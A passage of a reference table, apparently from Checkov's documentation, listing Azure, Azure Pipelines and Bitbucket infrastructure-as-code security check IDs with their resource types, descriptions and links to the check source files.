[AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml) | | 6243 | CKV2_AZURE_14 | resource | azurerm_managed_disk | Ensure that Unattached disks are encrypted | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml) | | 6244 | CKV2_AZURE_14 | resource | azurerm_virtual_machine | Ensure that Unattached disks are encrypted | Terraform | [AzureUnattachedDisksAreEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureUnattachedDisksAreEncrypted.yaml) | | 6245 | CKV2_AZURE_15 | resource | azurerm_data_factory | Ensure that Azure data factories are encrypted with a customer-managed key | Terraform | [AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureDataFactoriesEncryptedWithCustomerManagedKey.yaml) | | 6246 | CKV2_AZURE_16 | resource | azurerm_mysql_server | Ensure that MySQL server enables customer-managed key for encryption | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml) | | 6247 | CKV2_AZURE_16 | resource | azurerm_mysql_server_key | Ensure that MySQL server enables customer-managed key for encryption | Terraform | [MSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/MSQLenablesCustomerManagedKey.yaml) | | 6248 | CKV2_AZURE_17 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables customer-managed key for encryption | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml) | | 6249 | CKV2_AZURE_17 | resource | azurerm_postgresql_server_key | Ensure that PostgreSQL server enables customer-managed key for encryption | Terraform | [PGSQLenablesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/PGSQLenablesCustomerManagedKey.yaml) | | 6250 | CKV2_AZURE_19 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces have no IP firewall rules attached | arm | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py) | | 6251 | CKV2_AZURE_19 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces have no IP firewall rules attached | Bicep | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py) | | 6252 | CKV2_AZURE_19 | resource | azurerm_synapse_workspace | Ensure that Azure Synapse workspaces have no IP firewall rules attached | Terraform | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.yaml) | | 6253 | CKV2_AZURE_20 | resource | azurerm_log_analytics_storage_insights | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 6254 | CKV2_AZURE_20 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 6255 | CKV2_AZURE_20 | resource | azurerm_storage_table | Ensure Storage logging is enabled for Table service for read requests | Terraform | [StorageLoggingIsEnabledForTableService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForTableService.yaml) | | 6256 | CKV2_AZURE_21 | resource | azurerm_log_analytics_storage_insights | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 6257 | CKV2_AZURE_21 | resource | azurerm_storage_account | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 6258 | CKV2_AZURE_21 | resource | azurerm_storage_container | Ensure Storage logging is enabled for Blob service for read requests | Terraform | [StorageLoggingIsEnabledForBlobService.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageLoggingIsEnabledForBlobService.yaml) | | 6259 | CKV2_AZURE_22 | resource | azurerm_cognitive_account | Ensure that Cognitive Services enables customer-managed key for encryption | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml) | | 6260 | CKV2_AZURE_22 | resource | azurerm_cognitive_account_customer_managed_key | Ensure that Cognitive Services enables customer-managed key for encryption | Terraform | [CognitiveServicesCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/CognitiveServicesCustomerManagedKey.yaml) | | 6261 | CKV2_AZURE_23 | resource | Microsoft.AppPlatform/Spring | Ensure Azure spring cloud is configured with Virtual network (Vnet) | arm | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureSpringCloudConfigWithVnet.yaml) | | 6262 | CKV2_AZURE_23 | resource | azurerm_spring_cloud_service | Ensure Azure spring cloud is configured with Virtual network (Vnet) | Terraform | [AzureSpringCloudConfigWithVnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudConfigWithVnet.yaml) | | 6263 | CKV2_AZURE_24 | resource | azurerm_automation_account | Ensure Azure automation account does NOT have overly permissive network access | Terraform | [AzureAutomationAccNotOverlyPermissiveNetAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccNotOverlyPermissiveNetAccess.yaml) | | 6264 | CKV2_AZURE_25 | resource | azurerm_mssql_database | Ensure Azure SQL database Transparent Data Encryption (TDE) is enabled | Terraform | [AzureSqlDbEnableTransparentDataEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSqlDbEnableTransparentDataEncryption.yaml) | | 6265 | CKV2_AZURE_26 | resource | azurerm_postgresql_flexible_server_firewall_rule | Ensure Azure PostgreSQL Flexible server is not configured with overly permissive network access | Terraform | [AzurePostgreSQLFlexServerNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexServerNotOverlyPermissive.yaml) | | 6266 | CKV2_AZURE_27 | resource | Microsoft.Sql/servers | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | arm | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py) | | 6267 | CKV2_AZURE_27 | resource | Microsoft.Sql/servers | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | Bicep | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py) | | 6268 | CKV2_AZURE_27 | resource | azurerm_mssql_server | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | Terraform | [AzureConfigMSSQLwithAD.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureConfigMSSQLwithAD.yaml) | | 6269 | CKV2_AZURE_28 | resource | azurerm_container_group | Ensure Container Instance is configured with managed identity | Terraform | [AzureContainerInstanceconfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureContainerInstanceconfigManagedIdentity.yaml) | | 6270 | CKV2_AZURE_29 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster has Azure CNI networking enabled | Terraform | [AzureAKSclusterAzureCNIEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAKSclusterAzureCNIEnabled.yaml) | | 6271 | CKV2_AZURE_30 | resource | azurerm_container_registry_webhook | Ensure Azure Container Registry (ACR) has HTTPS enabled for webhook | Terraform | [AzureACR_HTTPSwebhook.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureACR_HTTPSwebhook.yaml) | | 6272 | CKV2_AZURE_31 | resource | azurerm_subnet | Ensure VNET subnet is configured with a Network Security Group (NSG) | Terraform | [AzureSubnetConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSubnetConfigWithNSG.yaml) | | 6273 | CKV2_AZURE_32 | resource | azurerm_key_vault | Ensure private endpoint is configured to key vault | Terraform | [AzureKeyVaultConfigPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureKeyVaultConfigPrivateEndpoint.yaml) | | 6274 | CKV2_AZURE_33 | resource | azurerm_storage_account | Ensure storage account is configured with private endpoint | Terraform | [AzureStorageAccConfigWithPrivateEndpoint.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithPrivateEndpoint.yaml) | | 6275 | CKV2_AZURE_34 | resource | azurerm_mssql_firewall_rule | Ensure Azure SQL server firewall is not overly permissive | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml) | | 6276 | CKV2_AZURE_34 | resource | azurerm_sql_firewall_rule | Ensure Azure SQL server firewall is not overly permissive | Terraform | [AzureSQLserverNotOverlyPermissive.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSQLserverNotOverlyPermissive.yaml) | | 6277 | CKV2_AZURE_35 | resource | azurerm_recovery_services_vault | Ensure Azure recovery services vault is configured with managed identity | Terraform | [AzureRecoveryServicesvaultConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureRecoveryServicesvaultConfigManagedIdentity.yaml) | | 6278 | CKV2_AZURE_36 | resource | azurerm_automation_account | Ensure Azure automation account is configured with managed identity | Terraform | [AzureAutomationAccConfigManagedIdentity.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAutomationAccConfigManagedIdentity.yaml) | | 6279 | CKV2_AZURE_37 | resource | azurerm_mariadb_server | Ensure Azure MariaDB server is using latest TLS (1.2) | Terraform | [AzureMariaDBserverUsingTLS_1_2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverUsingTLS_1_2.yaml) | | 6280 | CKV2_AZURE_38 | resource | azurerm_storage_account | Ensure soft-delete is enabled on Azure storage account | Terraform | [AzureStorageAccountEnableSoftDelete.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccountEnableSoftDelete.yaml) | | 6281 | CKV2_AZURE_39 | resource | azurerm_linux_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 6282 | CKV2_AZURE_39 | resource | azurerm_network_interface | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 6283 | CKV2_AZURE_39 | resource | azurerm_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 6284 | CKV2_AZURE_39 | resource | azurerm_windows_virtual_machine | Ensure Azure VM is not configured with public IP and serial console access | Terraform | [AzureVMconfigPublicIP_SerialConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureVMconfigPublicIP_SerialConsoleAccess.yaml) | | 6285 | CKV2_AZURE_40 | resource | azurerm_storage_account | Ensure storage account is not configured with Shared Key authorization | Terraform | [AzureStorageAccConfigSharedKeyAuth.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigSharedKeyAuth.yaml) | | 6286 | CKV2_AZURE_41 | resource | azurerm_storage_account | Ensure storage account is configured with SAS expiration policy | Terraform | [AzureStorageAccConfig_SAS_expirePolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfig_SAS_expirePolicy.yaml) | | 6287 | CKV2_AZURE_42 | resource | azurerm_postgresql_server | Ensure Azure PostgreSQL server is configured with private endpoint | Terraform | [AzurePostgreSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLserverConfigPrivEndpt.yaml) | | 6288 | CKV2_AZURE_43 | resource | azurerm_mariadb_server | Ensure Azure MariaDB server is configured with private endpoint | Terraform | [AzureMariaDBserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMariaDBserverConfigPrivEndpt.yaml) | | 6289 | CKV2_AZURE_44 | resource | azurerm_mysql_server | Ensure Azure MySQL server is configured with private endpoint | Terraform | [AzureMySQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLserverConfigPrivEndpt.yaml) | | 6290 | CKV2_AZURE_45 | resource | azurerm_mssql_server | Ensure Microsoft SQL server is configured with private endpoint | Terraform | [AzureMSSQLserverConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLserverConfigPrivEndpt.yaml) | | 6291 | CKV2_AZURE_46 | resource | Microsoft.Synapse/workspaces/vulnerabilityAssessments | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | arm | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py) | | 6292 | CKV2_AZURE_46 | resource | Microsoft.Synapse/workspaces/vulnerabilityAssessments | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Bicep | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py) | | 6293 | CKV2_AZURE_46 | resource | azurerm_synapse_workspace_security_alert_policy | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml) | | 6294 | CKV2_AZURE_46 | resource | azurerm_synapse_workspace_vulnerability_assessment | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Terraform | [AzureSynapseWorkspaceVAisEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSynapseWorkspaceVAisEnabled.yaml) | | 6295 | CKV2_AZURE_47 | resource | azurerm_storage_account | Ensure storage account is configured without blob anonymous access | Terraform | [AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureStorageAccConfigWithoutBlobAnonymousAccess.yaml) | | 6296 | CKV2_AZURE_48 | resource | Microsoft.Databricks/workspaces | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | arm | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) | | 6297 | CKV2_AZURE_48 | resource | Microsoft.Databricks/workspaces | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | Bicep | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) | | 6298 | CKV2_AZURE_48 | resource | azurerm_databricks_workspace | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | Terraform | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.yaml) | | 6299 | CKV2_AZURE_49 | resource | Microsoft.MachineLearningServices/workspaces | Ensure that Azure Machine learning workspace is not configured with overly permissive network access | arm | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/AzureMLWorkspacePublicNetwork.yaml) | | 6300 | CKV2_AZURE_49 | resource | azurerm_machine_learning_workspace | Ensure that Azure Machine learning workspace is not configured with overly permissive network access | Terraform | [AzureMLWorkspacePublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspacePublicNetwork.yaml) | | 6301 | CKV2_AZURE_50 | resource | azurerm_machine_learning_workspace | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml) | | 6302 | CKV2_AZURE_50 | resource | azurerm_storage_account | Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible | Terraform | [AzureMLWorkspaceHBIPublicNetwork.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMLWorkspaceHBIPublicNetwork.yaml) | | 6303 | CKV2_AZURE_51 | resource | Microsoft.Sql/servers/securityAlertPolicies | Ensure Synapse SQL Pool has a security alert policy | arm | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 6304 | CKV2_AZURE_51 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure Synapse SQL Pool has a security alert policy | arm | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 6305 | CKV2_AZURE_51 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL Pool has a security alert policy | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 6306 | CKV2_AZURE_51 | resource | azurerm_synapse_sql_pool_security_alert_policy | Ensure Synapse SQL Pool has a security alert policy | Terraform | [SynapseSQLPoolHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasSecurityAlertPolicy.yaml) | | 6307 | CKV2_AZURE_52 | resource | Microsoft.Sql/servers/securityAlertPolicies | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6308 | CKV2_AZURE_52 | resource | Microsoft.Sql/servers/vulnerabilityAssessments | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6309 | CKV2_AZURE_52 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure Synapse SQL Pool has vulnerability assessment attached | arm | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6310 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6311 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool_security_alert_policy | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6312 | CKV2_AZURE_52 | resource | azurerm_synapse_sql_pool_vulnerability_assessment | Ensure Synapse SQL Pool has vulnerability assessment attached | Terraform | [SynapseSQLPoolHasVulnerabilityAssessment.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseSQLPoolHasVulnerabilityAssessment.yaml) | | 6313 | CKV2_AZURE_53 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace has extended audit logs | arm | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 6314 | CKV2_AZURE_53 | resource | Microsoft.Synapse/workspaces/extendedAuditingPolicies | Ensure Azure Synapse Workspace has extended audit logs | arm | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 6315 | CKV2_AZURE_53 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace has extended audit logs | Terraform | [SynapseWorkspaceHasExtendedAuditLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseWorkspaceHasExtendedAuditLogs.yaml) | | 6316 | CKV2_AZURE_54 | resource | Microsoft.Synapse/workspaces/sqlPools | Ensure log monitoring is enabled for Synapse SQL Pool | arm | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 6317 | CKV2_AZURE_54 | resource | Microsoft.Synapse/workspaces/sqlPools/auditingSettings | Ensure log monitoring is enabled for Synapse SQL Pool | arm | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/graph_checks/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 6318 | CKV2_AZURE_54 | resource | azurerm_synapse_sql_pool | Ensure log monitoring is enabled for Synapse SQL Pool | Terraform | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 6319 | CKV2_AZURE_54 | resource | azurerm_synapse_sql_pool_extended_auditing_policy | Ensure log monitoring is enabled for Synapse SQL Pool | Terraform | [SynapseLogMonitoringEnabledForSQLPool.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SynapseLogMonitoringEnabledForSQLPool.yaml) | | 6320 | CKV2_AZURE_55 | resource | azurerm_spring_cloud_app | Ensure Azure Spring Cloud app end-to-end TLS is enabled | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml) | | 6321 | CKV2_AZURE_55 | resource | azurerm_spring_cloud_service | Ensure Azure Spring Cloud app end-to-end TLS is enabled | Terraform | [AzureSpringCloudTLSDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureSpringCloudTLSDisabled.yaml) | | 6322 | CKV2_AZURE_56 | resource | azurerm_mysql_flexible_server | Ensure Azure MySQL Flexible Server is configured with private endpoint | Terraform | [AzureMySQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMySQLFlexibleServerConfigPrivEndpt.yaml) | | 6323 | CKV2_AZURE_57 | resource | azurerm_postgresql_flexible_server | Ensure PostgreSQL Flexible Server is configured with private endpoint | Terraform | [AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzurePostgreSQLFlexibleServerConfigPrivEndpt.yaml) | | 6324 | CKV_AZUREPIPELINES_1 | azure_pipelines | jobs | Ensure container job uses a non latest version tag | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) | | 6325 | CKV_AZUREPIPELINES_1 | azure_pipelines | stages[].jobs[] | Ensure container job uses a non latest version tag | Azure Pipelines | [ContainerLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerLatestTag.py) | | 6326 | CKV_AZUREPIPELINES_2 | azure_pipelines | jobs | Ensure container job uses a version digest | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py) | | 6327 | CKV_AZUREPIPELINES_2 | azure_pipelines | stages[].jobs[] | Ensure container job uses a version digest | Azure Pipelines | [ContainerDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/ContainerDigest.py) | | 6328 | CKV_AZUREPIPELINES_3 | azure_pipelines | jobs[].steps[] | Ensure set variable is not marked as a secret | Azure Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py) | | 6329 | CKV_AZUREPIPELINES_3 | azure_pipelines | stages[].jobs[].steps[] | Ensure set variable is not marked as a secret | Azure Pipelines | [SetSecretVariable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/SetSecretVariable.py) | | 6330 | CKV_AZUREPIPELINES_5 | azure_pipelines | *.container[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | | 6331 | CKV_AZUREPIPELINES_5 | azure_pipelines | jobs[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | | 6332 | CKV_AZUREPIPELINES_5 | azure_pipelines | stages[].jobs[] | Detecting image usages in azure pipelines workflows | Azure Pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/azure_pipelines/checks/job/DetectImagesUsage.py) | | 6333 | CKV_BCW_1 | provider | bridgecrew | Ensure no hard coded API token exist in the provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/bridgecrew/credentials.py) | | 6334 | CKV_BITBUCKET_1 | bitbucket_configuration | * | Merge requests should require at least 2 approvals | bitbucket_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket/checks/merge_requests_approvals.py) | | 6335 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | [{image:image,__startline__:__startline__,__endline__:__endline__}] | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | | 6336 | CKV_BITBUCKETPIPELINES_1 | bitbucket_pipelines | pipelines.*.[*][][][].step.{image: image, __startline__: __startline__, __endline__:__endline__} | Ensure the pipeline image uses a non latest version tag | bitbucket_pipelines | [latest_image.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket_pipelines/checks/latest_image.py) | | 6337 | CKV_BITBUCKETPIPELINES_1 | 